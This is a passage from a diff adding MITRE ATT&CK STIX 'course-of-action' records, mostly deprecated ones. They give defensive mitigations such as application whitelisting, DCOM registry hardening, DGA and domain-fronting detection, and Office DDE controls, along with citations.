], + "id": "course-of-action--d0fcf37a-b6c4-4745-9c43-4fcdb8bfc88e", + "external_references": [ + { + "external_id": "T1001", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1001" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "modified": "2019-07-24T14:28:48.363Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Identify system utilities, remote access or third-party tools, users or potentially malicious software that may be used to store compressed or encrypted data in a publicly writeable directory, central location, or commonly used staging directories (e.g. recycle bin) that is indicative of non-standard behavior, and audit and/or block them by using file integrity monitoring tools where appropriate. Consider applying data size limits or blocking file writes of common compression and encryption utilities such as 7zip, RAR, ZIP, or zlib on frequently used staging directories or central locations and monitor attempted violations of those restrictions.", + "type": "course-of-action", + "name": "Data Staged Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--4320b080-9ae9-4541-9b8b-bcd0961dbbbd", + "external_references": [ + { + "external_id": "T1074", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1074" + } + ], + "modified": "2019-07-24T19:05:13.374Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. 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Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "modified": "2019-07-24T19:05:56.488Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "To mitigate adversary access to information repositories for collection:\n\n* Develop and publish policies that define acceptable information to be stored\n* Appropriate implementation of access control mechanisms that include both authentication and appropriate authorization\n* Enforce the principle of least-privilege\n* Periodic privilege review of accounts\n* Mitigate access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) that may be used to access repositories", + "type": "course-of-action", + "name": "Data from Information Repositories Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--13cad982-35e3-4340-9095-7124b653df4b", + "external_references": [ + { + "external_id": "T1213", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1213" + } + ], + "modified": "2019-07-24T19:06:19.932Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from the local system, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Data from Local System Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--7ee0879d-ce4f-4f54-a96b-c532dfb98ffd", + "external_references": [ + { + "external_id": "T1005", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1005" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-24T19:07:01.048Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from a network share, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Data from Network Shared Drive Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--d9727aee-48b8-4fdb-89e2-4c49746ba4dd", + "external_references": [ + { + "external_id": "T1039", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1039" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-24T19:07:35.761Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from removable media, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Data from Removable Media Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--39706d54-0d06-4a25-816a-78cc43455100", + "external_references": [ + { + "external_id": "T1025", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1025" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-24T19:08:19.160Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Implementing best practices for websites such as defending against [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) (Citation: OWASP Top 10 2017). Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data. (Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.", + "type": "course-of-action", + "name": "Defacement Mitigation ", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--5d8507c4-603e-4fe1-8a4a-b8241f58734b", + "external_references": [ + { + "external_id": "T1491", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1491" + }, + { + "source_name": "OWASP Top 10 2017", + "description": "OWASP. (2017, April 16). OWASP Top 10 2017 - The Ten Most Critical Web Application Security Risks. Retrieved February 12, 2019.", + "url": "https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf" + } + ], + "modified": "2019-07-24T19:09:19.281Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2019-04-08T17:51:41.510Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to deobfuscate or decode files or information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Deobfuscate/Decode Files or Information Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--d01f473f-3cdc-4867-9e55-1de9cf1986f0", + "external_references": [ + { + "external_id": "T1140", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1140" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-24T19:09:47.941Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", + "type": "course-of-action", + "name": "Disable or Remove Feature or Program", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "external_references": [ + { + "external_id": "M1042", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1042" + } + ], + "modified": "2019-06-11T16:45:19.740Z", + "x_mitre_version": "1.0", + "created": "2019-06-11T16:45:19.740Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure proper process, registry, and file permissions are in place to prevent adversaries from disabling or interfering with security services.", + "type": "course-of-action", + "name": "Disabling Security Tools Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--388606d3-f38f-45bf-885d-a9dc9df3c8a8", + "external_references": [ + { + "external_id": "T1089", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1089" + } + ], + "modified": "2019-07-24T19:10:48.260Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Modify Registry settings (directly or using Dcomcnfg.exe) in HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\AppID\\{AppID_GUID} associated with the process-wide security of individual COM applications. (Citation: Microsoft Process Wide Com Keys)\n\nModify Registry settings (directly or using Dcomcnfg.exe) in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Ole associated with system-wide security defaults for all COM applications that do no set their own process-wide security. (Citation: Microsoft System Wide Com Keys) (Citation: Microsoft COM ACL)\n\nConsider disabling DCOM through Dcomcnfg.exe. (Citation: Microsoft Disable DCOM)\n\nEnable Windows firewall, which prevents DCOM instantiation by default.\n\nEnsure all COM alerts and Protected View are enabled. (Citation: Microsoft Protected View)", + "type": "course-of-action", + "name": "Distributed Component Object Model Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--910482b1-6749-4934-abcb-3e34d58294fc", + "external_references": [ + { + "external_id": "T1175", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1175" + }, + { + "source_name": "Microsoft Process Wide Com Keys", + "description": "Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.", + "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx" + }, + { + "source_name": "Microsoft System Wide Com Keys", + "description": "Microsoft. (n.d.). Registry Values for System-Wide Security. Retrieved November 21, 2017.", + "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx" + }, + { + "source_name": "Microsoft COM ACL", + "description": "Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.", + "url": "https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1" + }, + { + "source_name": "Microsoft Disable DCOM", + "description": "Microsoft. (n.d.). Enable or Disable DCOM. Retrieved November 22, 2017.", + "url": "https://technet.microsoft.com/library/cc771387.aspx" + }, + { + "source_name": "Microsoft Protected View", + "description": "Microsoft. (n.d.). What is Protected View?. Retrieved November 22, 2017.", + "url": "https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653" + } + ], + "modified": "2019-07-24T19:12:02.818Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "This category is to associate techniques that mitigation might increase risk of compromise and therefore mitigation is not recommended.", + "type": "course-of-action", + "name": "Do Not Mitigate", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--787fb64d-c87b-4ee5-a341-0ef17ec4c15c", + "external_references": [ + { + "external_id": "M1055", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1055" + } + ], + "modified": "2019-07-23T14:44:24.727Z", + "x_mitre_version": "1.0", + "created": "2019-07-19T14:58:42.715Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "If it is possible to inspect HTTPS traffic, the captures can be analyzed for connections that appear to be Domain Fronting.\n\nIn order to use domain fronting, attackers will likely need to deploy additional tools to compromised systems. (Citation: FireEye APT29 Domain Fronting With TOR March 2017) (Citation: Mandiant No Easy Breach) It may be possible to detect or prevent the installation of these tools with Host-based solutions.", + "type": "course-of-action", + "name": "Domain Fronting Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--62ae52c9-7197-4f5b-be1d-10d2e1df2c96", + "external_references": [ + { + "external_id": "T1172", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1172" + }, + { + "source_name": "FireEye APT29 Domain Fronting With TOR March 2017", + "description": "Matthew Dunwoody. (2017, March 27). APT29 Domain Fronting With TOR. Retrieved November 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/apt29_domain_frontin.html" + }, + { + "source_name": "Mandiant No Easy Breach", + "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", + "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016" + } + ], + "modified": "2019-07-24T19:12:36.946Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "This technique may be difficult to mitigate since the domains can be registered just before they are used, and disposed shortly after. Malware researchers can reverse-engineer malware variants that use DGAs and determine future domains that the malware will attempt to contact, but this is a time and resource intensive effort.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA Brute Force) Malware is also increasingly incorporating seed values that can be unique for each instance, which would then need to be determined to extract future generated domains. In some cases, the seed that a particular sample uses can be extracted from DNS traffic.(Citation: Akamai DGA Mitigation) Even so, there can be thousands of possible domains generated per day; this makes it impractical for defenders to preemptively register all possible C2 domains due to the cost. In some cases a local DNS sinkhole may be used to help prevent DGA-based command and control at a reduced cost.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "type": "course-of-action", + "name": "Domain Generation Algorithms Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--3bd2cf87-1ceb-4317-9aee-3e7dc713261b", + "external_references": [ + { + "external_id": "T1483", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1483" + }, + { + "source_name": "Cybereason Dissecting DGAs", + "description": "Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019.", + "url": "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf" + }, + { + "source_name": "Cisco Umbrella DGA Brute Force", + "description": "Kasza, A. (2015, February 18). Using Algorithms to Brute Force Algorithms. Retrieved February 18, 2019.", + "url": "https://umbrella.cisco.com/blog/2015/02/18/at-high-noon-algorithms-do-battle/" + }, + { + "source_name": "Akamai DGA Mitigation", + "description": "Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019.", + "url": "https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "modified": "2019-07-24T19:13:31.378Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2019-02-18T17:22:57.941Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Map the trusts within existing domains/forests and keep trust relationships to a minimum. Employ network segmentation for sensitive domains.(Citation: Harmj0y Domain Trusts)", + "type": "course-of-action", + "name": "Domain Trust Discovery Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--159b4ee4-8fa1-44a5-b095-2973f3c7e25e", + "external_references": [ + { + "external_id": "T1482", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1482" + }, + { + "source_name": "Harmj0y Domain Trusts", + "description": "Schroeder, W. (2017, October 30). A Guide to Attacking Domain Trusts. Retrieved February 14, 2019.", + "url": "http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/ " + } + ], + "modified": "2019-07-24T19:14:03.948Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2019-02-15T13:04:25.150Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Drive-by compromise relies on there being a vulnerable piece of software on the client end systems. Use modern browsers with security features turned on. Ensure all browsers and plugins kept updated can help prevent the exploit phase of this technique.\n\nFor malicious code served up through ads, adblockers can help prevent that code from executing in the first place. Script blocking extensions can help prevent the execution of JavaScript that may commonly be used during the exploitation process.\n\nBrowser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist. (Citation: Windows Blogs Microsoft Edge Sandbox) (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nOther types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.", + "type": "course-of-action", + "name": "Drive-by Compromise Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--7a4d0054-53cd-476f-88af-955dddc80ee0", + "external_references": [ + { + "external_id": "T1189", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1189" + }, + { + "source_name": "Windows Blogs Microsoft Edge Sandbox", + "description": "Cowan, C. (2017, March 23). Strengthening the Microsoft Edge Sandbox. Retrieved March 12, 2018.", + "url": "https://blogs.windows.com/msedgedev/2017/03/23/strengthening-microsoft-edge-sandbox/" + }, + { + "source_name": "Ars Technica Pwn2Own 2017 VM Escape", + "description": "Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.", + "url": "https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/" + }, + { + "source_name": "TechNet Moving Beyond EMET", + "description": "Nunez, N. (2017, August 9). Moving Beyond EMET II \u2013 Windows Defender Exploit Guard. Retrieved March 12, 2018.", + "url": "https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/" + }, + { + "source_name": "Wikipedia Control Flow Integrity", + "description": "Wikipedia. (2018, January 11). Control-flow integrity. Retrieved March 12, 2018.", + "url": "https://en.wikipedia.org/wiki/Control-flow_integrity" + } + ], + "modified": "2019-07-24T19:14:33.952Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Prevent users from being able to write files to the search paths for applications, both in the folders where applications are run from and the standard dylib folders. If users can't write to these directories, then they can't intercept the search path.", + "type": "course-of-action", + "name": "Dylib Hijacking Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--dc43c2fe-355e-4a79-9570-3267b0992784", + "external_references": [ + { + "external_id": "T1157", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1157" + } + ], + "modified": "2019-07-24T19:15:00.897Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Registry keys specific to Microsoft Office feature control security can be set to disable automatic DDE/OLE execution. (Citation: Microsoft DDE Advisory Nov 2017) (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: GitHub Disable DDEAUTO Oct 2017) Microsoft also created, and enabled by default, Registry keys to completely disable DDE execution in Word and Excel. (Citation: Microsoft ADV170021 Dec 2017)\n\nEnsure Protected View is enabled (Citation: Microsoft Protected View) and consider disabling embedded files in Office programs, such as OneNote, not enrolled in Protected View. (Citation: Enigma Reviving DDE Jan 2018) (Citation: GitHub Disable DDEAUTO Oct 2017)\n\nOn Windows 10, enable Attack Surface Reduction (ASR) rules to prevent DDE attacks and spawning of child processes from Office programs. (Citation: Microsoft ASR Nov 2017) (Citation: Enigma Reviving DDE Jan 2018)", + "type": "course-of-action", + "name": "Dynamic Data Exchange Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--80c91478-ac87-434f-bee7-11f37aec4d74", + "external_references": [ + { + "external_id": "T1173", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1173" + }, + { + "source_name": "Microsoft DDE Advisory Nov 2017", + "description": "Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.", + "url": "https://technet.microsoft.com/library/security/4053440" + }, + { + "source_name": "BleepingComputer DDE Disabled in Word Dec 2017", + "description": "Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.", + "url": "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/" + }, + { + "source_name": "GitHub Disable DDEAUTO Oct 2017", + "description": "Dormann, W. (2017, October 20). Disable DDEAUTO for Outlook, Word, OneNote, and Excel versions 2010, 2013, 2016. Retrieved February 3, 2018.", + "url": "https://gist.github.com/wdormann/732bb88d9b5dd5a66c9f1e1498f31a1b" + }, + { + "source_name": "Microsoft ADV170021 Dec 2017", + "description": "Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018.", + "url": "https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021" + }, + { + "source_name": "Microsoft Protected View", + "description": "Microsoft. (n.d.). What is Protected View?. Retrieved November 22, 2017.", + "url": "https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653" + }, + { + "source_name": "Enigma Reviving DDE Jan 2018", + "description": "Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.", + "url": "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee" + }, + { + "source_name": "Microsoft ASR Nov 2017", + "description": "Brower, N. & D'Souza-Wiltshire, I. (2017, November 9). Enable Attack surface reduction. Retrieved February 3, 2018.", + "url": "https://docs.microsoft.com/windows/threat-protection/windows-defender-exploit-guard/enable-attack-surface-reduction" + } + ], + "modified": "2019-07-24T19:15:27.335Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Use of encryption provides an added layer of security to sensitive information sent over email. Encryption using public key cryptography requires the adversary to obtain the private certificate along with an encryption key to decrypt messages.\n\nUse of two-factor authentication for public-facing webmail servers is also a recommended best practice to minimize the usefulness of user names and passwords to adversaries.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to collect email data files or access the corporate email server, and audit and/or block them by using whitelisting (Citation: 